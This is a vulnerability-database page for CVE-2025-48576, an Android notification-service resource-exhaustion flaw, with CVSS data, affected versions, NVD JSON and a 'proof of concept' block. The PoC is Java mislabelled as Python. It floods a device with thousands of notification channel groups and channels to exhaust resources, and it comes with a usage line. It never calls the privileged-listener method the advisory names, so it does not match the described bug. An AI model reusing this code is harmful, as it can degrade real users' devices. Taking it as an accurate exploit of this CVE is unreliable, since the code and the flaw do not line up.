Security Vulnerability Report
中文
CVE-2025-48576 CVSS 5.5 MEDIUM

CVE-2025-48576

Published: 2025-12-08 17:16:15
Last Modified: 2025-12-10 19:33:06

Description

In updateNotificationChannelGroupFromPrivilegedListener of NotificationManagerService.java, there is a possible permanent denial of service due to resource exhaustion. This could lead to local denial of service with no additional execution privileges needed. User interaction is not needed for exploitation.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:google:android:13.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:google:android:14.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:google:android:15.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:google:android:16.0:-:*:*:*:*:*:* - VULNERABLE
Android Framework < 2025-12-01 security patch level
AOSP frameworks/base affected prior to commit b812baa1463c9f9e81efa617c9d08ed7a63488b4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-48576 PoC - Android NotificationManagerService Resource Exhaustion // This PoC demonstrates resource exhaustion via notification channel group creation import android.app.NotificationChannel; import android.app.NotificationChannelGroup; import android.app.NotificationManager; import android.content.Context; public class CVE202548576Poc { private static final String CHANNEL_GROUP_PREFIX = "MaliciousGroup_"; private static final String CHANNEL_PREFIX = "MaliciousChannel_"; public static void exploit(Context context) { NotificationManager notificationManager = (NotificationManager) context.getSystemService(Context.NOTIFICATION_SERVICE); // Create large number of notification channel groups to exhaust resources for (int i = 0; i < 10000; i++) { try { // Create notification channel group NotificationChannelGroup group = new NotificationChannelGroup( CHANNEL_GROUP_PREFIX + i, "Malicious Group " + i ); notificationManager.createNotificationChannelGroup(group); // Create multiple channels in each group for (int j = 0; j < 10; j++) { NotificationChannel channel = new NotificationChannel( CHANNEL_PREFIX + i + "_" + j, "Malicious Channel " + i + "_" + j, NotificationManager.IMPORTANCE_HIGH ); channel.setGroup(CHANNEL_GROUP_PREFIX + i); notificationManager.createNotificationChannel(channel); } if (i % 100 == 0) { // Log progress to track exhaustion android.util.Log.d("CVE-2025-48576", "Created " + i + " groups"); } } catch (Exception e) { android.util.Log.e("CVE-2025-48576", "Error at " + i, e); } } } } // Usage: Call CVE202548576Poc.exploit(getApplicationContext()) to trigger vulnerability

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-48576", "sourceIdentifier": "[email protected]", "published": "2025-12-08T17:16:15.367", "lastModified": "2025-12-10T19:33:05.677", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In updateNotificationChannelGroupFromPrivilegedListener of NotificationManagerService.java, there is a possible permanent denial of service due to resource exhaustion. This could lead to local denial of service with no additional execution privileges needed. User interaction is not needed for exploitation."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:google:android:13.0:*:*:*:*:*:*:*", "matchCriteriaId": "879FFD0C-9B38-4CAA-B057-1086D794D469"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:14.0:*:*:*:*:*:*:*", "matchCriteriaId": "2700BCC5-634D-4EC6-AB67-5B678D5F951D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:15.0:*:*:*:*:*:*:*", "matchCriteriaId": "8538774C-906D-4B03-A3E7-FA7A55E0DA9E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:16.0:-:*:*:*:*:*:*", "matchCriteriaId": "02882AB1-7993-47DD-84A0-8DF4272D85ED"}]}]}], "references": [{"url": "https://android.googlesource.com/platform/frameworks/base/+/b812baa1463c9f9e81efa617c9d08ed7a63488b4", "source": "[email protected]", "tags": ["Patch", "Product"]}, {"url": "https://source.android.com/security/bulletin/2025-12-01", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}